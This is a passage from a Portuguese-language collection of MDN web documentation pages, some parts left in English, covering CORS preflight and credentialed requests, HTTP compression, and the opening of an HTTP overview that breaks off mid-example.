Content-Type\n\nHTTP/1.1 200 OK\nDate: Mon, 01 Dec 2008 01:15:39 GMT\nServer: Apache/2.0.61 (Unix)\nAccess-Control-Allow-Origin: http://foo.example\nAccess-Control-Allow-Methods: POST, GET, OPTIONS\nAccess-Control-Allow-Headers: X-PINGOTHER, Content-Type\nAccess-Control-Max-Age: 86400\nVary: Accept-Encoding, Origin\nContent-Encoding: gzip\nContent-Length: 0\nKeep-Alive: timeout=2, max=100\nConnection: Keep-Alive\nContent-Type: text/plain\n```\n\n\nUma vez que a requisição com pré-envio é completa, a requisição efetiva será enviada:\n\n\n```shell\nPOST /resources/post-here/ HTTP/1.1\nHost: bar.other\nUser-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-us,en;q=0.5\nAccept-Encoding: gzip,deflate\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\nConnection: keep-alive\nX-PINGOTHER: pingpong\nContent-Type: text/xml; charset=UTF-8\nReferer: http://foo.example/examples/preflightInvocation.html\nContent-Length: 55\nOrigin: http://foo.example\nPragma: no-cache\nCache-Control: no-cache\n\n<?xml version=\"1.0\"?><person><name>Arun</name></person>\n\nHTTP/1.1 200 OK\nDate: Mon, 01 Dec 2008 01:15:40 GMT\nServer: Apache/2.0.61 (Unix)\nAccess-Control-Allow-Origin: http://foo.example\nVary: Accept-Encoding, Origin\nContent-Encoding: gzip\nContent-Length: 235\nKeep-Alive: timeout=2, max=99\nConnection: Keep-Alive\nContent-Type: text/plain\n\n[Some GZIP'd payload]\n```\n\n\nAs linhas de 1 a 12 acima representam a requisição com pré-envio tendo o método `OPTIONS`. O navegador determina que precisa fazer este envio baseado nos parâmetros da requisição do código JavaScript acima utilizado, para que o servidor possa responder caso seja aceitável o envio da requisição com os dados parâmetros da mesma. OPTIONS é um método HTTP/1.1 usado para determinar informações complementares dos servidores, sendo o mesmo um método safe, o que significa que não pode ser utilizado para troca de recurso. Note que junto da requisição OPTIONS, outros dois cabeçalhos são enviados (linhas 10 e 11, respectivamente):\n```\n\nAccess-Control-Request-Method: POST\nAccess-Control-Request-Headers: X-PINGOTHER, Content-Type\n```\n\n\nO cabeçalho `Access-Control-Request-Method` notifica o servidor como sendo uma parte da requisição com pré-envio que, quando a requisição efetiva é enviada, será enviada com uma requisição de método `POST`. O cabeçalho `Access-Control-Request-Headers` notifica o servidor que quando a requisição efetiva fora enviada, será enviada com os seguintes cabeçalhos personalizados `X-PINGOTHER` e `Content-Type`. O servidor agora tem a oportunidade para definir se deseja aceitar uma requisição sob estas condições.\n\nAs linhas 14 a 26 acima são as respostas que o servidor devolve, indicando que o método (`POST`) e os cabeçalhos (`X-PINGOTHER`) da requisição são aceitáveis. Em particular, vejamos as linhas 17 a 20:\n```\n\nAccess-Control-Allow-Origin: http://foo.example\nAccess-Control-Allow-Methods: POST, GET, OPTIONS\nAccess-Control-Allow-Headers: X-PINGOTHER, Content-Type\nAccess-Control-Max-Age: 86400\n```\n\n\nO servidor responde com `Access-Control-Allow-Methods` e diz que `POST`, `GET`, e `OPTIONS` são métodos viáveis para requerir o recurso em questão. Perceba que este cabeçalho é similar ao cabeçalho da resposta `Allow`, mas usado estritamente dentro do contexto do controle de acesso.\n\nO servidor envia também `Access-Control-Allow-Headers` com um valor de \"`X-PINGOTHER, Content-Type`\", confirmando estes são cabeçalhos permitidos a serem usados com a requisição efetiva. Assim como `Access-Control-Allow-Methods`, `Access-Control-Allow-Headers` é uma lista de cabeçalhos aceitáveis, separados por vírgula.\n\nPor fim, `Access-Control-Max-Age` traz o valor em segundos de quão longo pode ser mantida em cache a resposta da requisição pré-envio sem o envio de outra requisição pré-envio. Neste caso, 86400 segundos são 24 horas. Note que cada browser tem um valor interno máximo que toma precedência quado `Access-Control-Max-Age` for maior.\n\n#### Requisições com pré-envio e redirecionamento\n\nNot all browsers currently support following redirects after a preflighted request. If a redirect occurs after a preflighted request, some browsers currently will report an error message such as the following.\n\n> \n> The request was redirected to 'https://example.com/foo', which is disallowed for cross-origin requests that require preflight\n> \n> \n> \n\n> \n> Request requires preflight, which is disallowed to follow cross-origin redirect\n> \n> \n> \n\nThe CORS protocol originally required that behavior but was subsequently changed to no longer require it. However, not all browsers have implemented the change, and so still exhibit the behavior that was originally required.\n\nSo until all browsers catch up with the spec, you may be able to work around this limitation by doing one or both of the following:\n\n* change the server-side behavior to avoid the preflight and/or to avoid the redirect—if you have control over the server the request is being made to\n* change the request such that it is a [simple request]#simple\\_requests) that doesn't cause a preflight\n\nBut if it's not possible to make those changes, then another way that may be possible is to this:\n\n1. Make a simple request (using `Response.url` (en-US) for the Fetch API, or `XMLHttpRequest.responseURL` (en-US)) to determine what URL the real preflighted request would end up at.\n2. Make another request (the \"real\" request) using the URL you obtained from `Response.url` or `XMLHttpRequest.responseURL` in the first step.\n\nHowever, if the request is one that triggers a preflight due to the presence of the `Authorization` header in the request, you won't be able to work around the limitation using the steps above. And you won't be able to work around it at all unless you have control over the server the request is being made to.\n\n### Requisições com credenciais\n\nThe most interesting capability exposed by both `XMLHttpRequest` or Fetch and CORS is the ability to make \"credentialed\" requests that are aware of HTTP cookies and HTTP Authentication information. By default, in cross-site `XMLHttpRequest` or Fetch invocations, browsers will **not** send credentials. A specific flag has to be set on the `XMLHttpRequest` object or the `Request` constructor when it is invoked.\n\nIn this example, content originally loaded from `http://foo.example` makes a simple GET request to a resource on `http://bar.other` which sets Cookies. Content on foo.example might contain JavaScript like this:\n\n\n```js\nvar invocation = new XMLHttpRequest();\nvar url = \"http://bar.other/resources/credentialed-content/\";\n\nfunction callOtherDomain() {\n  if (invocation) {\n    invocation.open(\"GET\", url, true);\n    invocation.withCredentials = true;\n    invocation.onreadystatechange = handler;\n    invocation.send();\n  }\n}\n```\n\n\nLine 7 shows the flag on `XMLHttpRequest` that has to be set in order to make the invocation with Cookies, namely the `withCredentials` boolean value. By default, the invocation is made without Cookies. Since this is a simple `GET` request, it is not preflighted, but the browser will **reject** any response that does not have the `Access-Control-Allow-Credentials`: `true` header, and **not** make the response available to the invoking web content.\n\n![](/pt-BR/docs/Web/HTTP/CORS/cred-req.png)\n\nHere is a sample exchange between client and server:\n\n\n```shell\nGET /resources/access-control-with-credentials/ HTTP/1.1\nHost: bar.other\nUser-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-us,en;q=0.5\nAccept-Encoding: gzip,deflate\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\nConnection: keep-alive\nReferer: http://foo.example/examples/credential.html\nOrigin: http://foo.example\nCookie: pageAccess=2\n\nHTTP/1.1 200 OK\nDate: Mon, 01 Dec 2008 01:34:52 GMT\nServer: Apache/2.0.61 (Unix) PHP/4.4.7 mod_ssl/2.0.61 OpenSSL/0.9.7e mod_fastcgi/2.4.2 DAV/2 SVN/1.4.2\nX-Powered-By: PHP/5.2.6\nAccess-Control-Allow-Origin: http://foo.example\nAccess-Control-Allow-Credentials: true\nCache-Control: no-cache\nPragma: no-cache\nSet-Cookie: pageAccess=3; expires=Wed, 31-Dec-2008 01:34:53 GMT\nVary: Accept-Encoding, Origin\nContent-Encoding: gzip\nContent-Length: 106\nKeep-Alive: timeout=2, max=100\nConnection: Keep-Alive\nContent-Type: text/plain\n\n[text/plain payload]\n```\n\n\nAlthough line 11 contains the Cookie destined for the content on `http://bar.other`, if bar.other did not respond with an `Access-Control-Allow-Credentials``: true` (line 19) the response would be ignored and not made available to web content.\n\n#### Solicitações credenciadas e curingas (*wildcards*)\n\nWhen responding to a credentialed request, the server **must** specify an origin in the value of the `Access-Control-Allow-Origin` header, instead of specifying the \"`*`\" wildcard.\n\nBecause the request headers in the above example include a `Cookie` header, the request would fail if the value of the `Access-Control-Allow-Origin` header were \"\\*\". But it does not fail: Because the value of the `Access-Control-Allow-Origin` header is \"`http://foo.example`\" (an actual origin) rather than the \"`*`\" wildcard, the credential-cognizant content is returned to the invoking web content.\n\nNote that the `Set-Cookie` response header in the example above also sets a further cookie. In case of failure, an exception—depending on the API used—is raised.\n\nAll of these examples can be seen working here. The next section deals with the actual HTTP headers.\n\nOs cabeçalhos de resposta HTTP\n------------------------------\n\nThis section lists the HTTP response headers that servers send back for access control requests as defined by the Cross-Origin Resource Sharing specification. The previous section gives an overview of these in action.\n\n### Access-Control-Allow-Origin\n\nA returned resource may have one `Access-Control-Allow-Origin` header, with the following syntax:\n```\n\nAccess-Control-Allow-Origin: <origin> | *\n```\n\n\nThe `origin` parameter specifies a URI that may access the resource. The browser must enforce this. For requests **without** credentials, the server may specify \"\\*\" as a wildcard, thereby allowing any origin to access the resource.\n\nFor example, to allow `http://mozilla.org` to access the resource, you can specify:\n```\n\nAccess-Control-Allow-Origin: http://mozilla.org\n```\n\n\nIf the server specifies an origin host rather than \"\\*\", then it could also include Origin in the Vary response header to indicate to clients that server responses will differ based on the value of the Origin request header.\n\n### Access-Control-Expose-Headers\n\nThe `Access-Control-Expose-Headers` header lets a server whitelist headers that browsers are allowed to access. For example:\n```\n\nAccess-Control-Expose-Headers: X-My-Custom-Header, X-Another-Custom-Header\n```\n\n\nThis allows the `X-My-Custom-Header` and `X-Another-Custom-Header` headers to be exposed to the browser.\n\n### Access-Control-Max-Age\n\nThe `Access-Control-Max-Age` header indicates how long the results of a preflight request can be cached. For an example of a preflight request, see the above examples.\n```\n\nAccess-Control-Max-Age: <delta-seconds>\n```\n\n\nThe `delta-seconds` parameter indicates the number of seconds the results can be cached.\n\n### Access-Control-Allow-Credentials\n\nThe `Access-Control-Allow-Credentials` header Indicates whether or not the response to the request can be exposed when the `credentials` flag is true. When used as part of a response to a preflight request, this indicates whether or not the actual request can be made using credentials. Note that simple `GET` requests are not preflighted, and so if a request is made for a resource with credentials, if this header is not returned with the resource, the response is ignored by the browser and not returned to web content.\n```\n\nAccess-Control-Allow-Credentials: true\n```\n\n\nCredentialed requests are discussed above.\n\n### Access-Control-Allow-Methods\n\nO `Access-Control-Allow-Methods` cabeçalho especifica o método ou os métodos permitidos ao acessar o recurso. Isso é usado em resposta há uma requisição preflight. As condições na qual a requisição é preflight são discutidas à seguir.\n```\n\nAccess-Control-Allow-Methods: <method>[, <method>]*\n```\n\n\nAn example of a preflight request is given above, including an example which sends this header to the browser.\n\n### Access-Control-Allow-Headers\n\nThe `Access-Control-Allow-Headers` header is used in response to a preflight request to indicate which HTTP headers can be used when making the actual request.\n```\n\nAccess-Control-Allow-Headers: <field-name>[, <field-name>]*\n```\n\nOs cabeçalhos de solicitação HTTP\n---------------------------------\n\nThis section lists headers that clients may use when issuing HTTP requests in order to make use of the cross-origin sharing feature. Note that these headers are set for you when making invocations to servers. Developers using cross-site `XMLHttpRequest` capability do not have to set any cross-origin sharing request headers programmatically.\n\n### Origin\n\nThe `Origin` header indicates the origin of the cross-site access request or preflight request.\n```\n\nOrigin: <origin>\n```\n\n\nThe origin is a URI indicating the server from which the request initiated. It does not include any path information, but only the server name.\n\n**Nota:** The `origin` can be the empty string; this is useful, for example, if the source is a `data` URL.\n\nNote that in any access control request, the `Origin` header is **always** sent.\n\n### Access-Control-Request-Method\n\nThe `Access-Control-Request-Method` is used when issuing a preflight request to let the server know what HTTP method will be used when the actual request is made.\n```\n\nAccess-Control-Request-Method: <method>\n```\n\n\nExamples of this usage can be found above.\n\n### Access-Control-Request-Headers\n\nThe `Access-Control-Request-Headers` header is used when issuing a preflight request to let the server know what HTTP headers will be used when the actual request is made.\n```\n\nAccess-Control-Request-Headers: <field-name>[, <field-name>]*\n```\n\n\nExamples of this usage can be found above.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Fetch Standard # http-access-control-allow-origin |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### Notas de compatibilidade\n\n* Internet Explorer 8 and 9 expose CORS via the `XDomainRequest` object, but have a full implementation in IE 10.\n* While Firefox 3.5 introduced support for cross-site XMLHttpRequests and Web Fonts, certain requests were limited until later versions. Specifically, Firefox 7 introduced the ability for cross-site HTTP requests for WebGL Textures, and Firefox 9 added support for Images drawn on a canvas using `drawImage`.\nVeja também\n-----------\n\n* CORS errors (en-US)\n* Enable CORS: I want to add CORS support to my server\n* `XMLHttpRequest`\n* Fetch API\n* Using CORS with All (Modern) Browsers\n* Using CORS - HTML5 Rocks\n* Code Samples Showing `XMLHttpRequest` and Cross-Origin Resource Sharing\n* Client-Side & Server-Side (Java) sample for Cross-Origin Resource Sharing (CORS)\n* Cross-Origin Resource Sharing From a Server-Side Perspective (PHP, etc.) (en-US)\n* Stack Overflow answer with \"how to\" info for dealing with common problems:\n    + How to avoid the CORS preflight\n    + How to use a CORS proxy to get around *\"No Access-Control-Allow-Origin header\"*\n    + How to fix *\"Access-Control-Allow-Origin header must not be the wildcard\"*"}
{"title":"Compressão em HTTP - HTTP","text":"Compressão em HTTP\n==================\n\nA **Compressão** é uma forma importante de aumentar o desempenho de um Web site. Para alguns documentos, a redução de tamanho de até 70% diminui a necessidade de capacidade de largura de banda. Com o passar dos anos, os algoritmos também ficaram mais eficientes e novos têm recebido suporte por clientes e servidores.\n\nNa prática, os desenvolvedores web não precisam implementar mecanismos de compressão de dados, pois ambos os navegadores e servidores já possuem tais mecanismos implementados. Porém, é preciso ter certeza de que o servidor esteja configurado adequadamente. A compressão acontece em três níveis distintos:\n\n* primeiramente, alguns formatos de arquivo são comprimidos com métodos otimizados específicos,\n* então a criptografia ocorre no nível HTTP (o recurso é transmitido comprimido de ponta a ponta),\n* e finalmente a compressão pode ser definida no nível da conexão, entre dois nós de uma conexão HTTP.\nCompressão de formato de arquivo\n--------------------------------\n\nCada tipo de dado tem alguma redundância, ou seja, espaço desperdiçado. Se um texto pode geralmente apresentar até 60% de redundância, essa taxa pode ser muito maior para outras mídias, como áudio e vídeo. Ao contrário do texto, esses outros tipos de mídia ocupam muito espaço de armazenamento, sendo que a necessidade de recuperar esse espaço desperdiçado apareceu muito cedo. Engenheiros projetaram o algoritmo de compressão otimizada usada por formatos de arquivo para esse fim específico. Os algoritmos de compressão usados para arquivos podem ser agrupados em duas grandes categorias:\n\n* Compressão sem perdas (do inglês *Loss-less compression*), em que o ciclo de compressão-descompressão não altera os dados recuperados. Corresponde byte a byte com o original. Para imagens, `gif` e `png` usam a compressão sem perdas.\n* Compressão com perdas (do inglês *Lossy compression*), onde o ciclo altera os dados originais, de forma imperceptível para o usuário.\n Formatos de vídeo na Web utilizam compressão com perdas, assim como o formato `jpeg` para imagens.\n\nAlguns formatos podem ser usados para a compressão com ou sem perdas, como o `webp`. Geralmente, o algoritmo de compressão com perdas pode ser configurado para comprimir mais ou menos, resultando em uma qualidade menor ou maior.\n\nPara o melhor desempenho de um site, é ideal comprimir o máximo possível, mantendo um nível aceitável de qualidade. Para imagens, uma imagem gerada por uma ferramenta pode não ser otimizada o suficiente para a Web. Recomenda-se portanto o uso de ferramentas que comprimirão o máximo possível com uma certa qualidade exigida. Existem inúmeras ferramentas especializadas para isso.\n\nAlgoritmos de compressão com perdas geralmente são mais eficientes que os sem perdas.\n\n**Nota:** Como a compressão funciona melhor em tipos específicos de arquivos, ela geralmente não fornece nada mais ao comprimir o mesmo arquivo uma segunda vez. Na verdade, isso geralmente é contraproducente, pois o custo da sobrecarga (algoritmos geralmente precisam de um dicionário que some ao tamanho inicial) pode ser maior do que o ganho extra na compressão, resultando em um arquivo maior. Não use as duas técnicas a seguir para arquivos em um formato comprimido.\n\nCompressão de ponta a ponta\n---------------------------\n\nPara compressão, a compressão de ponta a ponta é onde residem as maiores melhorias de desempenho dos sites. Compressão de ponta a ponta refere-se a uma compressão do corpo de uma mensagem que é realizada pelo servidor e permanecerá inalterada até atingir o cliente. Quaisquer que sejam os nós intermediários, eles deixam o corpo intacto.\n\n![](/pt-BR/docs/Web/HTTP/Compression/httpenco1.png)\n\nTodos os navegadores e servidores modernos suportam a compressão, bastante somente negociar o algoritmo a ser usado. Esses algoritmos são otimizados para texto. Nos anos 90, a tecnologia de compressão avançava a um ritmo acelerado e numerosos algoritmos sucessivos foram adicionados ao conjunto de escolhas possíveis. Hoje em dia, apenas dois são relevantes: o `gzip`, o mais comum, e `br` o novo desafiante.\n\nPara selecionar o algoritmo a ser usado, os navegadores e servidores usam a negociação proativa de conteúdo. O navegador envia um cabeçalho `Accept-Encoding` com o algoritmo que ele suporta e sua ordem de precedência. O servidor escolhe um, usa-o para comprimir o corpo da resposta e usa o `Content-Encoding` para informar ao navegador o algoritmo escolhido. Como a negociação de conteúdo foi usada para escolher uma representação baseada em sua codificação, o servidor deve enviar um cabeçalho `Vary` contendo pelo menos `Accept-Encoding` ao lado do cabeçalho na resposta. Dessa forma, os caches poderão armazenar em cache as diferentes representações do recurso.\n\n![](/pt-BR/docs/Web/HTTP/Compression/httpcompression1.png)\n\nComo a copressão de dados traz melhorias significativas no desempenho, recomenda-se ativá-la para todos os arquivos, com exceção daqueles já comprimidos, como imagens, arquivos de áudio e vídeos.\n\nApache suporta compressão e usa mod\\_deflate; para nginx existe ngx\\_http\\_gzip\\_module; para IIS, o elemento `<httpCompression>`.\n\nCompressão de nó a nó (*Hop-by-hop*)\n------------------------------------\n\nA compressão de nó a nó (do inglês *Hop-by-hop compression*), embora semelhante à compresão de ponta a ponta, difere em um elemento fundamental: a compressão não acontece no recurso no servidor, criando uma representação específica que é então transmitida, mas sim no corpo da mensagem entre dois nós no caminho entre o cliente e o servidor. Conexões entre nós intermediários sucessivos podem aplicar uma compressão diferente.\n\n![](/pt-BR/docs/Web/HTTP/Compression/httpte1.png)\n\nPara fazer isso, o HTTP usa um mecanismo semelhante à negociação de conteúdo para a compressão ponta a ponta: o nó que transmite a solicitação anuncia sua vontade usando o cabeçalho `TE`, sendo que o outro nó escolhe o método adequado, aplica-o e indica a sua escolha com o cabeçalho `Transfer-Encoding`.\n\n![](/pt-BR/docs/Web/HTTP/Compression/httpcomp2.png)\n\nNa prática, a compressão de nó a nó é transparente para o servidor e o cliente, sendo raramente usada. `TE` e `Transfer-Encoding` são usados principalmente para enviar uma resposta por partes, permitindo iniciar a transmissão de um recurso sem conhecer seu tamanho.\n\nObserve que usar `Transfer-Encoding` e compressão a nível de salto entre nós é tão raro que a maioria dos servidores, como Apache, nginx ou IIS, não apresentam uma maneira fácil de configurá-lo. Tal configuração geralmente acontece no nível do proxy."}
{"title":"Uma visão geral do HTTP - HTTP","text":"Uma visão geral do HTTP\n=======================\n\n**HTTP** é um protocolo (protocol) que permite a obtenção de recursos, como documentos HTML. É a base de qualquer troca de dados na Web e um protocolo cliente-servidor, o que significa que as requisições são iniciadas pelo destinatário, geralmente um navegador da Web. Um documento completo é reconstruído a partir dos diferentes sub-documentos obtidos, como por exemplo texto, descrição do layout, imagens, vídeos, scripts e muito mais.\n\n![A Web document is the composition of different resources](/pt-BR/docs/Web/HTTP/Overview/fetching_a_page.png)\n\nClientes e servidores se comunicam trocando mensagens individuais (ao contrário de um fluxo de dados). As mensagens enviadas pelo cliente, geralmente um navegador da Web, são chamadas de **solicitações** *(requests)*, ou também **requisições**, e as mensagens enviadas pelo servidor como resposta são chamadas de **respostas** *(responses)*.\n\n![HTTP as an application layer protocol, on top of TCP (transport layer) and IP (network layer) and below the presentation layer.](/pt-BR/docs/Web/HTTP/Overview/http_&_layers.png)Projetado no início da década de 1990, o protocolo HTTP é extensível e evoluiu ao longo do tempo. Atua na camada de aplicação e é enviado sobre o protocoloTCP, ou em uma conexão TCP criptografada com TLS, embora qualquer protocolo de transporte confiável possa, teoricamente, ser usado. Devido à sua extensibilidade, ele é usado não só para buscar documentos de hipertexto, mas também imagens e vídeos ou publicar conteúdo em servidores, como nos resultados de formulário HTML (veja os elementos `<html>` e `<form>` (en-US)). O HTTP também pode ser usado para buscar partes de documentos para atualizar páginas da Web sob demanda.\n\nComponentes de sistemas baseados em HTTP\n----------------------------------------\n\nO HTTP é um protocolo cliente-servidor: as requisições são enviados por uma entidade, o agente-usuário (ou um *proxy* em nome dele). A maior parte do tempo, o agente-usuário é um navegador da Web, mas pode ser qualquer coisa, como por exemplo um robô que varre a Web para preencher e manter um índice de mecanismo de pesquisa e coletar informações.\n\nCada requisição individual é enviada para um servidor, que irá lidar com isso e fornecer um resultado, chamado de *resposta*. Entre a solicitação e a resposta existem várias entidades, designadas coletivamente como proxies, que executam operações diferentes e atuam como *gateways* (intermediários) ou caches, por exemplo.\n\n![Client server chain](/pt-BR/docs/Web/HTTP/Overview/client-server-chain.png)\n\nNa realidade, existem muitos outros computadores entre o navegador e o servidor que está tratando a requisição: existem roteadores, modems e muito mais. Graças ao modelo de camadas da Web, essas funcionalidades estão escondidas nas camadas de rede e transporte, respectivamente. O HTTP está no topo da camada de aplicação. Apesar de ser importante diagnosticar problemas de conectividade, as camadas subjacentes são irrelevantes para a descrição do HTTP.\n\n### Cliente: o agente-usuário\n\nO *agente-usuário* é qualquer ferramenta que age em nome do usuário. Essa função é predominantemente realizada pelo navegador Web; algumas poucas exceções são programas usados por engenheiros e desenvolvedores Web para debugar as suas aplicações.\n\nO navegador **sempre** é a entidade que inicia as requisições, nunca o lado do servidor (embora alguns mecanismos tenham sido adicionados ao longo dos anos para simular mensagens iniciadas pelo servidor).\n\nPara mostrar uma página Web, o navegador envia uma requisição para buscar o documento HTML da página. Ele então realiza uma análise sintática desse arquivo, buscando requisições adicionais correspondentes a scripts de execução, informações de layout (CSS) para apresentação e subrecursos contidos na página (geralmente imagens e vídeos). Depois o navegador interpreta esses recursos para mostrar ao usuário a página completa. Existem scripts executados pelo navegador que buscam mais recursos em fases subsequentes e conforme o uso da página e o navegador atualiza a página de acordo.\n\nUma página Web é um documento de hipertexto (HTML). Isso significa que algumas partes do texto mostrado são *links* (vínculos com outras páginas ou recursos da Web), os quais podem ser ativados (normalmente pelo clique do *mouse*) para buscar uma nova página, permitindo ao usuário redirecionar seu agente-usuário e navegar pela internet. O navegador traduz esses endereços em requisições HTTP e depois interpreta as respostas HTTP para mostrar ao usuário uma resposta transparente.\n\n### O servidor de páginas Web\n\nDo outro lado do canal de comunicação está o servidor que serve o documento requisitado pelo usuário. Um servidor se apresenta virtualmente apenas como uma máquina: isto porque o servidor pode ser uma coleção de servidores dividindo a carga (através de uma técnica chamada balanceamento de carga) ou também como um programa complexo que acessa outros servidores (como um cache, um servidor de banco de dados, servidores de *e-commerce* (lojas virtuais), etc.), gerando toda ou parte do documento solicitado.\n\nUm servidor não é necessáriamente apenas uma máquina, mas vários servidores podem estar hospedados na mesma máquina. Com o HTTP/1.1 e o cabeçalho `Host`, eles podem até compartilhar o mesmo endereço IP.\n\n### Proxies (ou representantes)\n\nEntre o navegador Web e o servidor, vários computadores e máquinas transmitem as mensagens HTTP. Devido a estrutura em camadas da pilha Web, a maioria dessas máquinas operam em alguma das camadas: de transporte, de rede ou física, sendo transparente na camada da aplicação HTTP, e potencialmente exercendo um grande impacto na performance. Essas máquinas que operam na camada de aplicação são normalmente conhecidas como \\*\\**proxies* \\*\\*(ou representantes, ou procuradores, etc). Eles podem ser transparentes ou não (alterações nas requisições não passam por eles), e podem desempenhar várias funções:\n\n* cacheamento (o *cache* pode ser público ou privado, como o *cache* dos navegadores)\n* filtragem (como um *scanner* de antivírus, controle de acesso, etc)\n* balanceamento de carga (para permitir que vários servidores possam responder a diferentes requisições)\n* autenticação (para controlar quem tem acesso aos recursos)\n* autorização (para controlar quem tem acesso a determinada informação)\n* registro de informação (permite o armazenamento de informações de histórico)\nAspectos básicos do HTTP\n------------------------\n\n### HTTP é simples\n\nMesmo com mais complexidade introduzida no HTTP/2.0 por encapsular mensagens HTTP em quadros (*frames*), o HTTP foi projetado para ser simples e legível às pessoas. As mensagens HTTP podem ser lidas e entendidas por qualquer um, provendo uma maior facilidade para desenvolvimento e testes, e reduzir a complexidade para os estudantes.\n\n### HTTP é extensível\n\nIntroduzidos no HTTP/1.0, os cabeçalhos HTTP fazem com que este protocolo seja fácil para estender e usá-lo para experimentos. Novas funcionalidades podem até ser introduzidas pelo simples acordo entre um cliente e um servidor sobre a nova semântica de um cabeçalho.\n\n### HTTP não tem estado, mas tem sessões\n\nHTTP é sem estado: não existe uma relação entre duas requisições sendo feitas através da mesma conexão. Isso traz um problema imediato para usuários que interagem com algumas páginas de forma coerente, por exemplo, usando um carrinho de compras de *e-commerces*\\*. Mas como o fundamento básico do HTTP é não manter estados, *cookies* HTTP permitem que as sessões tenham estados. Usando a extensibilidade dos cabeçalhos, os *cookies* são adicionados ao fluxo do HTTP, permitindo que a criação de sessão em cada requisição HTTP compartilhem o mesmo contexto, ou o mesmo estado.\n\n**Nota:** \\* O problema do carrinho de compras de *e-commerces* e o protocolo HTTP: como o protocolo HTTP não guarda o estado das requisições e respostas, é **impossível** fazer com que um site guarde as informações de um carrinho de compras **somente através do HTTP**. Por exemplo, imagine que você irá comprar um computador novo e um jogo de xícaras de chá. Para que esses dados possam ser mantidos enquanto você navega no site do *e-commerce* olhando mais produtos (cada página visitada gera um novo par de requisição/resposta), duas estratégias podem ser usadas, já que o HTTP por si só, não permitiria isso:\n\n1. Você possui um cadastro no *e-commerce* e um programa escrito no servidor é responsável por armazenar suas informações do carrinho; ou\n2. Um programa escrito em linguagem cliente (como JavaScript), gerencia essas informações através dos *cookies* e de bancos de dados que os próprios navegadores disponibilizam para as aplicações, para armazenamento **temporário** dessas informações de carrinho.\n\n### HTTP e conexões\n\nUma conexão é controlada na camada de transporte, e portanto fundamentalmente fora do controle do HTTP. Entretanto o HTTP não requer que o protocolo de transporte utilizado seja baseado em conexões, só requer que seja confiável ou não perca mensagens (sem pelo menos apresentar erros). Dentre os dois protocolos de transporte mais comuns na internet, o TCP é confiável e o UDP não. Portanto, o HTTP utiliza o padrão TCP, que é baseado em conexão, mesmo que nem sempre seja obrigatório o uso de uma conexão.\n\nNo protocolo HTTP/1.0 uma conexão TCP era aberta para cada par de requisição/resposta trocada, introduzindo duas grandes falhas: abrir uma conexão requer várias viagens de ida/volta de mensagens, e portanto é lento, mas se torna mais eficiente quando mensagens são enviadas em maior número ou maior frequência: \"conexões quentes\" são mais eficientes que \"conexões frias\" (que envia poucas mensagens ou com baixa frequência).\n\nPara contornar essas falhas, o protocolo HTTP/1.1 introduziu o conceito de linhas de produção (ou *pipelining*) — que se provou difícil de ser implementado — e conexões persistentes: as conexões TCPs feitas embaixo, podem ser parcialmente controladas usando o cabeçalho HTTP `Connection`. O HTTP/2.0 foi mais além, multiplexando várias mensagens através de uma única conexão, ajudando a manter a conexão mais quente, e mais eficiente.\n\nExperimentos estão sendo feitos para projetar um protocolo de transporte mais adequado para o HTTP. Por exemplo, a Google está fazendo testes com o QUIC que é construído sobre o UDP para prover um protocolo de transporte mais confiável e eficiente.\n\nO que pode ser controlado pelo HTTP?\n------------------------------------\n\nA natureza extensível do HTTP tem permitido mais controle e funcionalidade para a internet, ao longo do tempo. Cache e autenticação são funcionalidades suportadas desde o início da história do HTTP. A habilidade de relaxar as restrições na origem, em contraste, foi adicionada nos anos 2010s.\n\nAqui está uma lista de funcionalidades comuns, controláveis com HTTP:\n\n* *Cache*\n A forma como documentos são cacheados pode ser controlada pelo HTTP. O servidor pode instruir *proxies* e clientes, sobre o que cachear e por quanto tempo. O cliente pode instruir *proxies* de cache intermediários a ignorar o documento armazenado.\n* *Relaxamento das restrições na origem*\n Para prevenir bisbilhoteiros e outros invasores de privacidade, os navegadores reforçam estritamente a separação dos sites Web. Somente páginas de **mesma origem** podem acessar todas as informações de uma página Web. Apesar dessa restrição ser um fardo grande aos servidores, os cabeçalhos HTTP podem relaxar essa separação estrita no lado dos servidores, permitindo que um documento seja composto por várias fontes de informação em outros domínios (e pode até ter razões específicas de segurança para se fazer isso), como um tecido de retalhos.\n* *Autenticação*\n Algumas páginas podem ser protegidas para que apenas usuários específicos possam acessá-la. Autenticação básica pode ser fornecida pelo HTTP, usando tanto o cabeçalho `WWW-Authenticate` e similares, quanto configurando uma sessão específica usando cookies HTTP.\n* *Proxy e tunelamento (en-US)*\n Servidores e/ou clientes estão frequentemente localizados em *intranets* e escondem seu verdadeiro endereço IP aos outros. Requisições HTTP recorrem aos *proxies* para contornar essa barreira na rede. Mas nem todos os *proxies* são *proxies* HTTP. O protocolo SOCKS, por exemplo, opera em um nível mais baixo. Outros protocolos, como ftp, podem ser tratados por esses *proxies*.\n* *Sessões*\n Usando os *cookies* HTTP, permite você vincular requisições com o estado do servidor. Isso cria as sessões, apesar do protocolo HTTP básico não manter estado. Isso é útil não só para os carrinhos de compras de *e-commerces*, mas também para qualquer site que permita customização das respostas a nível de usuário.\nFluxo HTTP\n----------\n\nQuando o cliente quer comunicar com um servidor, este sendo um servidor final ou um *proxy*, ele realiza os seguintes passos:\n\n1. Abre uma conexão TCP: A conexão TCP será usada para enviar uma requisição, ou várias, e receber uma resposta. O cliente pode abrir uma nova conexão, reusar uma conexão existente, ou abrir várias conexões aos servidores.\n2. Envia uma mensagem HTTP: mensagens HTTP (antes do HTTP/2.0) são legíveis às pessoas. Com o HTTP/2.0, essas mensagens simples são encapsuladas dentro de quadros (*frames*), tornando-as impossíveis de ler diretamente, mas o princípio se mantém o mesmo.\n\n```http\nGET / HTTP/1.1\nHost: developer.mozilla.org\nAccept-Language: fr\n```\n\n3. Lê a resposta do servidor:\n\n```http\nHTTP/1.1 200 OK\nDate: Sat, 09 Oct 